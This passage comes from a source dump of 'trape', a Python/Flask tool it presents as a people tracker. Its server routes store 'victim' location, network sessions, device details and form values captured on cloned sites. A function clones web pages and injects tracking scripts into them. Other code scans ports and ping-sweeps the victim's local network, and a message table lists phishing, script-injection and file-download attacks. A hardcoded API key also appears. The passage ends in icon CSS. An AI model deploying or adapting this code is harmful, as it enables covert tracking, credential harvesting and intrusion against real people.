0))\n\n        if cant > 0:\n            db.sentences_victim('update_network', [vId, vnetwork, time.strftime(\"%Y-%m-%d - %H:%M:%S\")], 2)\n        else:\n            db.sentences_victim('insert_networks', [vId, vIp, request.environ['REMOTE_ADDR'], vnetwork, time.strftime(\"%Y-%m-%d - %H:%M:%S\")], 2)\n            utils.Go(utils.Color['white'] + \"[\" + utils.Color['greenBold'] + \"+\" + utils.Color['white'] + \"]\" + utils.Color['whiteBold'] + \" \" + vnetwork + utils.Color['white'] + \" session detected from \" + utils.Color['blue'] + vIp + utils.Color['white'] + ' ' + \"with ID: \" + utils.Color['green'] + vId + utils.Color['white'])\n        return json.dumps({'status' : 'OK', 'vId' : vId})\n\n    @app.route(\"/lr\", methods=[\"POST\"])\n    def locationRegister():\n        vId = request.form['vId']\n        lat = request.form['lat']\n        lon = request.form['lon']\n\n        db.sentences_victim('location_victim', [vId, lat, lon], 2)\n        return json.dumps({'status' : 'OK', 'vId' : vId})\n\n    @app.route(\"/lc\", methods=[\"POST\"])\n    def connectionRegister():\n        vId = request.form['vId']\n        con = request.form['con']\n        host = request.form['host']\n\n        db.sentences_victim('connection_victim', [vId, con, host], 2)\n        return json.dumps({'status' : 'OK', 'vId' : vId})\n\n    @app.route(\"/bs\", methods=[\"POST\"])\n    def batteryStatusRegister():\n        vId = request.form['id']\n        b_data = request.form['d']\n        b_type = request.form['t']\n        \n        db.sentences_victim('update_battery', [vId, b_data, b_type], 2)\n        return json.dumps({'status' : 'OK', 'vId' : vId})\n\n    @app.route(\"/nm\", methods=[\"POST\"])\n    def navigationMode():\n        vId = request.form['id']\n        b_data = request.form['d']\n        b_data_2 = request.form['dn']\n        \n        db.sentences_victim('update_navigationmode', [vId, b_data, b_data_2], 2)\n        return json.dumps({'status' : 'OK', 'vId' : vId})\n\n    @app.route(\"/rv\")\n    def redirectVictim():\n        url = request.args.get('url')\n        if url[0:4] != 'http':\n            url = 'http://' + url\n        opener = urllib.request.build_opener()\n        headers = victim_headers(request.user_agent)\n        opener.addheaders = headers\n        html = assignScripts(victim_inject_code(opener.open(url).read(), 'vscript', url, trape.gmaps, trape.ipinfo))\n        return html\n\n    @app.route(\"/regv\", methods=[\"POST\"])\n    def registerRequest():\n        vrequest = victim_request(request.form['vId'], request.form['site'], request.form['fid'], request.form['name'], request.form['value'], request.form['sId'])\n        db.sentences_victim('insert_requests', [vrequest, time.strftime(\"%Y-%m-%d - %H:%M:%S\")], 2)\n        utils.Go(utils.Color['white'] + \"[\" + utils.Color['greenBold'] + \"=\" + utils.Color['white'] + \"]\" + \" \" + 'Receiving data from: ' + utils.Color['green'] + vrequest.id + utils.Color['white']  + ' ' + 'on' + ' ' + utils.Color['blue'] + vrequest.site + utils.Color['white'] + '\\t\\n' + vrequest.fid + '\\t' + vrequest.name + ':\\t' + vrequest.value)\n        return json.dumps({'status' : 'OK', 'vId' : vrequest.id})\n\n    @app.route(\"/tping\", methods=[\"POST\"])\n    def receivePiregisterGPUng():\n        vrequest = request.form['id']\n        db.sentences_victim('report_online', [vrequest], 2)\n        db.sentences_victim('update_lastping', [vrequest, time.strftime(\"%Y-%m-%d - %H:%M:%S\")], 2)\n        return json.dumps({'status' : 'OK', 'vId' : vrequest})\n\n    @app.route(\"/cIp\", methods=[\"POST\"])\n    def changeLocalIp():\n        vrequest = request.form['id']\n        vIp = request.form['ip']\n        db.sentences_victim('update_localIp', [vrequest, vIp], 2)\n        return json.dumps({'status' : 'OK', 'vId' : vrequest})\n\n    @app.route(\"/gGpu\", methods=[\"POST\"])\n    def setGpuInfo():\n        vId = request.form['vId']\n        vData = request.form['data']\n        db.sentences_victim('update_gpu', [vId, vData], 2)\n        return json.dumps({'status' : 'OK', 'vId' : vId})\n    \n\ndef getHostsAlive(ip, vId):\n    hDB = Database()\n    try:\n        hDB.sentences_victim('delete_hostalive', vId, 2)\n        split_ip = ip.split('.')\n        net = split_ip[0] + '.' + split_ip[1] + '.' + split_ip[2] + '.'\n        if ip != '127.0.0.1':\n            if (platform.system()=='Windows'):\n                ping = 'ping -n 1 -w 5'\n            else:\n                ping = 'ping -c 1 -t 3'\n            for sub_net in range(1, 255):\n                address = net + str(sub_net)\n                response = os.popen(ping + ' ' + address)\n                for line in response.readlines():\n                    if ('time=' in line.lower()):\n                        lPos = line.find('time=')\n                        tmpLine = line[lPos+5:lPos+15]\n                        lPos = tmpLine.find('ms')\n                        tmpLine = tmpLine[0:lPos+2]\n                        \n                        hDB.sentences_victim('register_hostalive', [vId, address, tmpLine, time.strftime(\"%Y-%m-%d - %H:%M:%S\")], 2)\n                        break\n        else:\n            hDB.sentences_victim('register_hostalive', [vId, 'OWN HOST', 0, time.strftime(\"%Y-%m-%d - %H:%M:%S\")], 2)\n    except ValueError:\n        pass\n\ndef assignScripts(code):\n    code = code.replace(\"base.js\".encode(), trape.JSFiles[0]['src'].encode())\n    code = code.replace(\"libs.min.js\".encode(),trape.JSFiles[1]['src'].encode())\n    code = code.replace(\"login.js\".encode(), trape.JSFiles[2]['src'].encode())\n    code = code.replace(\"payload.js\".encode(), trape.JSFiles[3]['src'].encode())\n    code = code.replace(\"trape.js\".encode(), trape.JSFiles[4]['src'].encode())\n    code = code.replace(\"vscript.js\".encode(), trape.JSFiles[5]['src'].encode())\n    code = code.replace(\"custom.js\".encode(), trape.JSFiles[6]['src'].encode())\n    return code"
  },
  {
    "path": "core/user_objects.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# **\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For full copyright information this visit: https://github.com/jofpin/trape\n#\n# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>\n# **\nclass victim(object):\n    def __init__(self, vId, ip, device, browser, version, ports, cpu, date):\n        self.vId = vId\n        self.ip = ip\n        self.device = device\n        self.browser = browser\n        self.version = version\n        self.ports = ports\n        self.cpu = cpu\n        self.date = date\n\n\nclass victim_geo(object):\n    def __init__(self, id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua, refer):\n        self.id = id\n        self.city = city\n        self.country_code = country_code\n        self.country_name = country_name\n        self.ip = ip\n        self.latitude = latitude\n        self.longitude = longitude\n        self.metro_code = metro_code\n        self.region_code = region_code\n        self.region_name = region_name\n        self.time_zone = time_zone\n        self.zip_code = zip_code\n        self.isp = isp\n        self.ua = ua\n        self.refer = refer\n\n\nclass victim_request(object):\n    def __init__(self, id, site, fid, name, value, sId):\n        self.id = id\n        self.site = site\n        self.fid = fid\n        self.name = name\n        self.value = value\n        self.sId = sId\n\n\ndef victim_headers2(ua):\n    return {\n        \"User-Agent\": str(ua),\n        \"Content-Type\": \"text/html; charset=utf-8\",\n        \"Accept\": \"text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.8\",\n        \"Connection\": \"keep-alive\",\n        # Do Not Track (info here: https://www.w3.org/TR/tracking-dnt/)\n        \"DNT\": \"1\",\n        \"Keep-Alive\": \"115\",\n    }\n\n\ndef victim_headers(ua):\n    return [(\"User-Agent\", ua),\n            (\"Content-Type\", \"text/html; charset=utf-8\"),\n            (\"Accept\", \"text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.8\"),\n            (\"Connection\", \"keep-alive\"),\n            # Do Not Track (info here: https://www.w3.org/TR/tracking-dnt/)\n            (\"DNT\", \"1\"),\n            (\"Keep-Alive\", \"115\")\n            ]\n\n\ndef victim_inject_code(html, script='a', url_to_clone='', gMapsApiKey='AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM', IpInfoApiKey=''):\n    url_to_clone = str(url_to_clone)\n    html = html.replace('src=\"'.encode(), str('src=\"' + url_to_clone + '/').encode())\n    html = html.replace(\"src='\".encode(), str(\"src='\" + url_to_clone + '/').encode())\n    html = html.replace(str('src=\"' + url_to_clone + '/' + 'http').encode(), 'src=\"http'.encode())\n    html = html.replace(str(\"src='\" + url_to_clone + '/' + 'http').encode(), \"src='http\".encode())\n    html = html.replace(\"href='\".encode(), str(\"href='\" + url_to_clone + '/').encode())\n    html = html.replace('href=\"'.encode(), str('href=\"' + url_to_clone + '/').encode())\n    html = html.replace(str('href=\"' + url_to_clone + '/' + 'http').encode(), 'href=\"http'.encode())\n    html = html.replace(str(\"href='\" + url_to_clone + '/' + 'http').encode(), \"href='http\".encode())\n    html = html.replace(\n        '</head>'.encode(), '<script type=\"text/javascript\" src=\"/static/js/libs.min.js\"></script></head>'.encode())\n    html = html.replace('</head>'.encode(), str('<script type=\"text/javascript\">window.gMapsApiKey=\"' + str(\n        gMapsApiKey) + '\"; window.IpInfoApiKey=\"' + str(IpInfoApiKey) + '\";</script></head>').encode())\n    html = html.replace(\n        '</head>'.encode(), '<script type=\"text/javascript\" src=\"/static/js/base.js\"></script></head>'.encode())\n    html = html.replace(\n        '</head>'.encode(), '<script type=\"text/javascript\" src=\"/static/js/custom.js\"></script></head>'.encode())\n    html = html.replace(\n        '</head>'.encode(), str('<script type=\"text/javascript\" src=\"/static/js/' + script + '.js\"></script></head>').encode())\n    return html\n\n\ndef attacks_hook_message(data):\n    return {\n        'network': 'Detected network ',\n        'url': \"Open url phishing \",\n        'redirect': \"Redirecting to \",\n        'alert': \"Sending alert \",\n        'execute': \"Downloading file \",\n        'talk': \"Sending voice message \",\n        'jscode': \"Sending Script \",\n        'jsscript': \"Injecting Script \"\n    }.get(data, False)\n"
  },
  {
    "path": "core/utils.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#**\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For full copyright information this visit: https://github.com/jofpin/trape\n#\n# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>\n#**\nimport random\nimport hashlib\nimport threading\nimport sys\nimport os\nimport socket\nimport time\nimport requests, json\nfrom colorama import init , Style,Fore\nimport http.client\ninit()\n\nclass utils:\n    # Functions 1to get is right\n    def __init__(self):\n        pass\n\n    # Simplification print\n    @staticmethod\n    def Go(string):\n        print(string)\n\n    # All color for design terminal UI\n    Color = {\n      \"cyan\": Style.NORMAL+Fore.CYAN,\n      \"cyanBold\": Style.BRIGHT+Fore.CYAN,\n      \"blue\": Fore.BLUE,\n      \"blueBold\": Style.BRIGHT+Fore.BLUE,\n      \"red\": Style.NORMAL+Fore.RED,\n      \"redBold\": Style.BRIGHT+Fore.RED,\n      \"green\": Style.NORMAL+Fore.GREEN,\n      \"greenBold\": Style.BRIGHT+Fore.GREEN,\n      \"white\": Style.NORMAL+Fore.WHITE,\n      \"whiteBold\": Style.BRIGHT+Fore.WHITE,\n      \"yellow\": Style.NORMAL+Fore.YELLOW,\n      \"yellowBold\": Style.BRIGHT+Fore.YELLOW\n    }\n\n    # Text in bold, lines and end.\n    Text = {\n      \"underline\": Style.NORMAL+Fore.YELLOW,\n      \"bold\": Style.BRIGHT,\n      \"end\": Style.NORMAL+Fore.WHITE\n    }\n\n    # Banner trape\n    @staticmethod\n    def banner():\n        utils.Go(\"\\033[H\\033[J\")\n        utils.Go(\"\\t\" + utils.Color['redBold'] + \" _                           \")\n        utils.Go(\"\\t\" + utils.Color['redBold'] + \"| |_   ____ ____ ____   ____ \")\n        utils.Go(\"\\t\" + utils.Color['redBold'] + \"|  _) / ___) _  |  _ \\ / _  )\")\n        utils.Go(\"\\t\" + utils.Color['redBold'] + \"| |__| |  ( ( | | | | ( (/ / \")\n        utils.Go(\"\\t\" + utils.Color['redBold'] + \" \\___)_|   \\_||_| ||_/ \\____)\")\n        utils.Go(\"\\t\" + utils.Color['redBold'] + \"                |_|\" + utils.Color['white'] + \" 2018 by \" + utils.Color['whiteBold'] + \"Jose Pino\" + utils.Color['white'] + \" (\" + utils.Color['blue'] + \"@jofpin\" + utils.Color['white'] + \")\" + utils.Color['white'])\n        utils.Go(\"\\t\" + \"-----------------------------------------------\")\n        utils.Go(utils.Color['green'] + \"\\t\" + \"People tracker on internet for OSINT research \" + utils.Color['white'] + \"|=-\" + utils.Color['white'])\n        utils.Go(\"\\t\" + \"-----------------------------------------------\")\n        utils.Go(\"\\t\" + \"| \" + utils.Color['white'] + \"v\" + utils.Color['redBold'] + \"2.1\" + utils.Color['white'] + \" |\")    \n        utils.Go(\"\\t\" + \"--------\" + \"\\n\")\n\n    # Loader with console cleaning and OS checking    \n    @staticmethod\n    def checkOS():\n        if \"posix\" in os.name:\n            os.system(\"clear\")\n            pass\n        elif \"nt\" in os.name:\n            pass\n            #os.system(\"cls\")\n            #utils.Go(\"Currently there is no support for Windows.\")\n        else:\n            pass\n        utils.Go(\"Loading\" + \" \" + utils.Color['blue'] + \"trape\" + utils.Color['white'] + \"...\")\n        time.sleep(0.4)\n\n    # Generates a unique token of up to 30 characters.\n    @staticmethod\n    def generateToken(length=8):\n        chars = list('ABCDEFGHIJKLMNOPQRSTUVWYZabcdefghijklmnopqrstuvwyz01234567890')\n        random.shuffle(chars)\n        chars = ''.join(chars)\n        sha1 = hashlib.sha1(chars.encode('utf8'))\n        token = sha1.hexdigest()\n        return token[:length]\n\n    # Simple port scan for the victim or user    \n    @staticmethod\n    def portScanner(victimIP):\n        clientIP = socket.gethostbyname(victimIP)\n        listPorts = [0, 21, 22, 23, 25, 42, 43, 53, 67, 79, 80, 102, 110, 115, 119, 123, 135, 137, 143, 161, 179, 379, 389, 443, 445, 465, 636, 993, 995, 1026, 1080, 1090, 1433, 1434, 1521, 1677, 1701, 1720, 1723, 1900, 2409, 2082, 2095, 3101, 3306, 3389, 3390, 3535, 4321, 4664, 5190, 5500, 5631, 5632, 5900, 65535, 7070, 7100, 8000, 8080, 8880, 8799, 9100]\n        results = []\n        for port in listPorts:\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.settimeout(0.2)\n            result = sock.connect_ex((clientIP, port))\n            sys.stdout.flush()\n            if result == 0:\n                results.append(str(port))\n        return \",\".join(results)\n\n    # Local port check to allow trape to run    \n    @staticmethod\n    def checkPort(port):\n        try:\n            clientIP = socket.gethostbyname('127.0.0.1')\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.settimeout(0.1)\n            result = sock.connect_ex((clientIP, port))\n            sys.stdout.flush()\n            if result == 0:\n                return False\n            else:\n                try:\n                    if int(port) > 0 and int(port) < 65535:\n                        return True\n                    else:\n                        return False\n                except Exception as e:\n                    return False\n        except Exception as e:\n            return False\n\n    @staticmethod\n    def checkUrl(url):\n        c = http.client.HTTPConnection(url, timeout=5)\n        try:\n            c.request(\"HEAD\", \"/\")\n            c.close()\n            return True\n        except Exception as e:\n            c.close()\n            return False\n\n    # Goo.gl shortener service\n    @staticmethod\n    def gShortener(api_key, p_url):\n        url = \"https://www.googleapis.com/urlshortener/v1/url?key=\" + api_key\n        payload = '{\"longUrl\":\"' + p_url + '\"}'\n        headers = {'content-type': 'application/json'}\n        r = requests.post(url, data=payload, headers=headers)\n        return r\n\n    # Autocompletion\n    @staticmethod\n    def niceShell(text, state):\n        matches = [i for i in commands if i.startswith(text)]\n        if state < len(matches):\n            return matches[state]\n        else:\n            return None\n"
  },
  {
    "path": "requirements.txt",
    "content": "Flask\nFlask-Login\nFlask-Session\nflask-socketio\nflask_socketio\nflask_cors\nitsdangerous\nJinja2\nMarkupSafe\npython-engineio\npython-socketio\nsix\nWerkzeug\neventlet\nrequests\ncolorama\n"
  },
  {
    "path": "static/css/base-icons.css",
    "content": "@font-face{font-family:'boxicons';src:url('../css/fonts/boxicons.eot?szinet');src:url('../css/fonts/boxicons.eot?#iefixszinet') format('embedded-opentype'),url('../css/fonts/boxicons.woff?szinet') format('woff'),url('../css/fonts/boxicons.ttf?szinet') format('truetype'),url('../css/fonts/boxicons.svg?szinet#boxicons') format('svg');font-weight:normal;font-style:normal;}[class^=\"icon-\"],[class*=\"icon-\"]{display:inline-block;speak:none;font-family:\"boxicons\";font-size:inherit;color:currentColor;fill:currentColor;font-style:normal;font-weight:normal;font-variant:normal;text-transform:none;text-rendering:auto;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;}.icon-add-to-list:before{content:\"\\e900\";}.icon-classic-computer:before{content:\"\\e901\";}.icon-controller-fast-backward:before{content:\"\\e902\";}.icon-creative-commons-attribution:before{content:\"\\e903\";}.icon-creative-commons-noderivs:before{content:\"\\e904\";}.icon-creative-commons-noncommercial-eu:before{content:\"\\e905\";}.icon-creative-commons-noncommercial-us:before{content:\"\\e906\";}.icon-creative-commons-public-domain:before{content:\"\\e907\";}.icon-creative-commons-remix:before{content:\"\\e908\";}.icon-creative-commons-share:before{content:\"\\e909\";}.icon-creative-commons-sharealike:before{content:\"\\e90a\";}.icon-creative-commons2:before{content:\"\\e90b\";}.icon-document-landscape:before{content:\"\\e90c\";}.icon-remove-user:before{content:\"\\e90d\";}.icon-warning2:before{content:\"\\e90e\";}.icon-arrow-bold-down:before{content:\"\\e90f\";}.icon-arrow-bold-left:before{content:\"\\e910\";}.icon-arrow-bold-right:before{content:\"\\e911\";}.icon-arrow-bold-up:before{content:\"\\e912\";}.icon-arrow-down2:before{content:\"\\e913\";}.icon-arrow-left2:before{content:\"\\e914\";}.icon-arrow-long-down:before{content:\"\\e915\";}.icon-arrow-long-left:before{content:\"\\e916\";}.icon-arrow-long-right:before{content:\"\\e917\";}.icon-arrow-long-up:before{content:\"\\e918\";}.icon-arrow-right2:before{content:\"\\e919\";}.icon-arrow-up2:before{content:\"\\e91a\";}.icon-arrow-with-circle-down:before{content:\"\\e91b\";}.icon-arrow-with-circle-left:before{content:\"\\e91c\";}.icon-arrow-with-circle-right:before{content:\"\\e91d\";}.icon-arrow-with-circle-up:before{content:\"\\e91e\";}.icon-bookmark2:before{content:\"\\e91f\";}.icon-bookmarks:before{content:\"\\e920\";}.icon-chevron-down2:before{content:\"\\e921\";}.icon-chevron-left2:before{content:\"\\e922\";}.icon-chevron-right2:before{content:\"\\e923\";}.icon-chevron-small-down:before{content:\"\\e924\";}.icon-chevron-small-left:before{content:\"\\e925\";}.icon-chevron-small-right:before{content:\"\\e926\";}.icon-chevron-small-up:before{content:\"\\e927\";}.icon-chevron-thin-down:before{content:\"\\e928\";}.icon-chevron-thin-left:before{content:\"\\e929\";}.icon-chevron-thin-right:before{content:\"\\e92a\";}.icon-chevron-thin-up:before{content:\"\\e92b\";}.icon-chevron-up2:before{content:\"\\e92c\";}.icon-chevron-with-circle-down:before{content:\"\\e92d\";}.icon-chevron-with-circle-left:before{content:\"\\e92e\";}.icon-chevron-with-circle-right:before{content:\"\\e92f\";}.icon-chevron-with-circle-up:before{content:\"\\e930\";}.icon-cloud2:before{content:\"\\e931\";}.icon-controller-fast-forward:before{content:\"\\e932\";}.icon-controller-jump-to-start:before{content:\"\\e933\";}.icon-controller-next:before{content:\"\\e934\";}.icon-controller-paus:before{content:\"\\e935\";}.icon-controller-play:before{content:\"\\e936\";}.icon-controller-record:before{content:\"\\e937\";}.icon-controller-stop:before{content:\"\\e938\";}.icon-controller-volume:before{content:\"\\e939\";}.icon-dot-single:before{content:\"\\e93a\";}.icon-dots-three-horizontal:before{content:\"\\e93b\";}.icon-dots-three-vertical:before{content:\"\\e93c\";}.icon-dots-two-horizontal:before{content:\"\\e93d\";}.icon-dots-two-vertical:before{content:\"\\e93e\";}.icon-download2:before{content:\"\\e93f\";}.icon-emoji-flirt:before{content:\"\\e940\";}.icon-flow-branch:before{content:\"\\e941\";}.icon-flow-cascade:before{content:\"\\e942\";}.icon-flow-line:before{content:\"\\e943\";}.icon-flow-parallel:before{content:\"\\e944\";}.icon-flow-tree:before{content:\"\\e945\";}.icon-install:before{content:\"\\e946\";}.icon-layers:before{content:\"\\e947\";}.icon-open-book:before{content:\"\\e948\";}.icon-resize-100:before{content:\"\\e949\";}.icon-resize-full-screen:before{content:\"\\e94a\";}.icon-save2:before{content:\"\\e94b\";}.icon-select-arrows:before{content:\"\\e94c\";}.icon-sound-mute:before{content:\"\\e94d\";}.icon-sound:before{content:\"\\e94e\";}.icon-trash2:before{content:\"\\e94f\";}.icon-triangle-down:before{content:\"\\e950\";}.icon-triangle-left:before{content:\"\\e951\";}.icon-triangle-right:before{content:\"\\e952\";}.icon-triangle-up:before{content:\"\\e953\";}.icon-uninstall:before{content:\"\\e954\";}.icon-upload-to-cloud:before{content:\"\\e955\";}.icon-upload2:before{content:\"\\e956\";}.icon-add-user:before{content:\"\\e957\";}.icon-address:before{content:\"\\e958\";}.icon-adjust2:before{content:\"\\e959\";}.icon-air:before{content:\"\\e95a\";}.icon-aircraft-landing:before{content:\"\\e95b\";}.icon-aircraft-take-off:before{content:\"\\e95c\";}.icon-aircraft:before{content:\"\\e95d\";}.icon-align-bottom:before{content:\"\\e95e\";}.icon-align-horizontal-middle:before{content:\"\\e95f\";}.icon-align-left2:before{content:\"\\e960\";}.icon-align-right2:before{content:\"\\e961\";}.icon-align-top:before{content:\"\\e962\";}.icon-align-vertical-middle:before{content:\"\\e963\";}.icon-archive2:before{content:\"\\e964\";}.icon-area-graph:before{content:\"\\e965\";}.icon-attachment:before{content:\"\\e966\";}.icon-awareness-ribbon:before{content:\"\\e967\";}.icon-back-in-time:before{content:\"\\e968\";}.icon-back:before{content:\"\\e969\";}.icon-bar-graph:before{content:\"\\e96a\";}.icon-battery:before{content:\"\\e96b\";}.icon-beamed-note:before{content:\"\\e96c\";}.icon-bell2:before{content:\"\\e96d\";}.icon-blackboard:before{content:\"\\e96e\";}.icon-block:before{content:\"\\e96f\";}.icon-book2:before{content:\"\\e970\";}.icon-bowl:before{content:\"\\e971\";}.icon-box:before{content:\"\\e972\";}.icon-briefcase2:before{content:\"\\e973\";}.icon-browser:before{content:\"\\e974\";}.icon-brush:before{content:\"\\e975\";}.icon-bucket:before{content:\"\\e976\";}.icon-cake:before{content:\"\\e977\";}.icon-calculator2:before{content:\"\\e978\";}.icon-calendar2:before{content:\"\\e979\";}.icon-camera2:before{content:\"\\e97a\";}.icon-ccw:before{content:\"\\e97b\";}.icon-chat:before{content:\"\\e97c\";}.icon-check2:before{content:\"\\e97d\";}.icon-circle-with-cross:before{content:\"\\e97e\";}.icon-circle-with-minus:before{content:\"\\e97f\";}.icon-circle-with-plus:before{content:\"\\e980\";}.icon-circle2:before{content:\"\\e981\";}.icon-circular-graph:before{content:\"\\e982\";}.icon-clapperboard:before{content:\"\\e983\";}.icon-clipboard2:before{content:\"\\e984\";}.icon-clock:before{content:\"\\e985\";}.icon-code2:before{content:\"\\e986\";}.icon-cog2:before{content:\"\\e987\";}.icon-colours:before{content:\"\\e988\";}.icon-compass2:before{content:\"\\e989\";}.icon-copy2:before{content:\"\\e98a\";}.icon-credit-card2:before{content:\"\\e98b\";}.icon-credit:before{content:\"\\e98c\";}.icon-cross:before{content:\"\\e98d\";}.icon-cup:before{content:\"\\e98e\";}.icon-cw:before{content:\"\\e98f\";}.icon-cycle:before{content:\"\\e990\";}.icon-database2:before{content:\"\\e991\";}.icon-dial-pad:before{content:\"\\e992\";}.icon-direction:before{content:\"\\e993\";}.icon-document:before{content:\"\\e994\";}.icon-documents:before{content:\"\\e995\";}.icon-drink:before{content:\"\\e996\";}.icon-drive:before{content:\"\\e997\";}.icon-drop:before{content:\"\\e998\";}.icon-edit2:before{content:\"\\e999\";}.icon-email:before{content:\"\\e99a\";}.icon-emoji-happy:before{content:\"\\e99b\";}.icon-emoji-neutral:before{content:\"\\e99c\";}.icon-emoji-sad:before{content:\"\\e99d\";}.icon-erase:before{content:\"\\e99e\";}.icon-eraser2:before{content:\"\\e99f\";}.icon-export:before{content:\"\\e9a0\";}.icon-eye2:before{content:\"\\e9a1\";}.icon-feather:before{content:\"\\e9a2\";}.icon-flag2:before{content:\"\\e9a3\";}.icon-flash2:before{content:\"\\e9a4\";}.icon-flashlight:before{content:\"\\e9a5\";}.icon-flat-brush:before{content:\"\\e9a6\";}.icon-folder-images:before{content:\"\\e9a7\";}.icon-folder-music:before{content:\"\\e9a8\";}.icon-folder-video:before{content:\"\\e9a9\";}.icon-folder2:before{content:\"\\e9aa\";}.icon-forward2:before{content:\"\\e9ab\";}.icon-funnel:before{content:\"\\e9ac\";}.icon-game-controller:before{content:\"\\e9ad\";}.icon-gauge:before{content:\"\\e9ae\";}.icon-globe2:before{content:\"\\e9af\";}.icon-graduation-cap2:before{content:\"\\e9b0\";}.icon-grid:before{content:\"\\e9b1\";}.icon-hair-cross:before{content:\"\\e9b2\";}.icon-hand:before{content:\"\\e9b3\";}.icon-heart-outlined:before{content:\"\\e9b4\";}.icon-heart2:before{content:\"\\e9b5\";}.icon-help-with-circle:before{content:\"\\e9b6\";}.icon-help:before{content:\"\\e9b7\";}.icon-home2:before{content:\"\\e9b8\";}.icon-hour-glass:before{content:\"\\e9b9\";}.icon-image-inverted:before{content:\"\\e9ba\";}.icon-image2:before{content:\"\\e9bb\";}.icon-images:before{content:\"\\e9bc\";}.icon-inbox2:before{content:\"\\e9bd\";}.icon-infinity:before{content:\"\\e9be\";}.icon-info-with-circle:before{content:\"\\e9bf\";}.icon-info2:before{content:\"\\e9c0\";}.icon-key2:before{content:\"\\e9c1\";}.icon-keyboard:before{content:\"\\e9c2\";}.icon-lab-flask:before{content:\"\\e9c3\";}.icon-landline:before{content:\"\\e9c4\";}.icon-language2:before{content:\"\\e9c5\";}.icon-laptop2:before{content:\"\\e9c6\";}.icon-leaf2:before{content:\"\\e9c7\";}.icon-level-down2:before{content:\"\\e9c8\";}.icon-level-up2:before{content:\"\\e9c9\";}.icon-lifebuoy:before{content:\"\\e9ca\";}.icon-light-bulb:before{content:\"\\e9cb\";}.icon-light-down:before{content:\"\\e9cc\";}.icon-light-up:before{content:\"\\e9cd\";}.icon-line-graph:before{content:\"\\e9ce\";}.icon-link2:before{content:\"\\e9cf\";}.icon-list2:before{content:\"\\e9d0\";}.icon-location-pin:before{content:\"\\e9d1\";}.icon-location:before{content:\"\\e9d2\";}.icon-lock-open:before{content:\"\\e9d3\";}.icon-lock2:before{content:\"\\e9d4\";}.icon-log-out:before{content:\"\\e9d5\";}.icon-login:before{content:\"\\e9d6\";}.icon-loop:before{content:\"\\e9d7\";}.icon-magnet2:before{content:\"\\e9d8\";}.icon-magnifying-glass:before{content:\"\\e9d9\";}.icon-mail:before{content:\"\\e9da\";}.icon-man:before{content:\"\\e9db\";}.icon-map2:before{content:\"\\e9dc\";}.icon-mask:before{content:\"\\e9dd\";}.icon-medal:before{content:\"\\e9de\";}.icon-megaphone:before{content:\"\\e9df\";}.icon-menu:before{content:\"\\e9e0\";}.icon-message:before{content:\"\\e9e1\";}.icon-mic:before{content:\"\\e9e2\";}.icon-minus2:before{content:\"\\e9e3\";}.icon-mobile2:before{content:\"\\e9e4\";}.icon-modern-mic:before{content:\"\\e9e5\";}.icon-moon:before{content:\"\\e9e6\";}.icon-mouse:before{content:\"\\e9e7\";}.icon-music2:before{content:\"\\e9e8\";}.icon-network:before{content:\"\\e9e9\";}.icon-new-message:before{content:\"\\e9ea\";}.icon-new:before{content:\"\\e9eb\";}.icon-news:before{content:\"\\e9ec\";}.icon-note:before{content:\"\\e9ed\";}.icon-notification:before{content:\"\\e9ee\";}.icon-old-mobile:before{content:\"\\e9ef\";}.icon-old-phone:before{content:\"\\e9f0\";}.icon-palette:before{content:\"\\e9f1\";}.icon-paper-plane2:before{content:\"\\e9f2\";}.icon-pencil2:before{content:\"\\e9f3\";}.icon-phone2:before{content:\"\\e9f4\";}.icon-pie-chart2:before{content:\"\\e9f5\";}.icon-pin:before{content:\"\\e9f6\";}.icon-plus2:before{content:\"\\e9f7\";}.icon-popup:before{content:\"\\e9f8\";}.icon-power-plug:before{content:\"\\e9f9\";}.icon-price-ribbon:before{content:\"\\e9fa\";}.icon-price-tag:before{content:\"\\e9fb\";}.icon-print2:before{content:\"\\e9fc\";}.icon-progress-empty:before{content:\"\\e9fd\";}.icon-progress-full:before{content:\"\\e9fe\";}.icon-progress-one:before{content:\"\\e9ff\";}.icon-progress-two:before{content:\"\\ea00\";}.icon-publish:before{content:\"\\ea01\";}.icon-quote:before{content:\"\\ea02\";}.icon-radio:before{content:\"\\ea03\";}.icon-reply-all2:before{content:\"\\ea04\";}.icon-reply2:before{content:\"\\ea05\";}.icon-retweet2:before{content:\"\\ea06\";}.icon-rocket2:before{content:\"\\ea07\";}.icon-round-brush:before{content:\"\\ea08\";}.icon-rss2:before{content:\"\\ea09\";}.icon-ruler:before{content:\"\\ea0a\";}.icon-scissors2:before{content:\"\\ea0b\";}.icon-share-alternitive:before{content:\"\\ea0c\";}.icon-share2:before{content:\"\\ea0d\";}.icon-shareable:before{content:\"\\ea0e\";}.icon-shield2:before{content:\"\\ea0f\";}.icon-shop:before{content:\"\\ea10\";}.icon-shopping-bag2:before{content:\"\\ea11\";}.icon-shopping-basket2:before{content:\"\\ea12\";}.icon-shopping-cart2:before{content:\"\\ea13\";}.icon-shuffle:before{content:\"\\ea14\";}.icon-signal2:before{content:\"\\ea15\";}.icon-sound-mix:before{content:\"\\ea16\";}.icon-sports-club:before{content:\"\\ea17\";}.icon-spreadsheet:before{content:\"\\ea18\";}.icon-squared-cross:before{content:\"\\ea19\";}.icon-squared-minus:before{content:\"\\ea1a\";}.icon-squared-plus:before{content:\"\\ea1b\";}.icon-star-outlined:before{content:\"\\ea1c\";}.icon-star2:before{content:\"\\ea1d\";}.icon-stopwatch:before{content:\"\\ea1e\";}.icon-suitcase2:before{content:\"\\ea1f\";}.icon-swap:before{content:\"\\ea20\";}.icon-sweden:before{content:\"\\ea21\";}.icon-switch:before{content:\"\\ea22\";}.icon-tablet2:before{content:\"\\ea23\";}.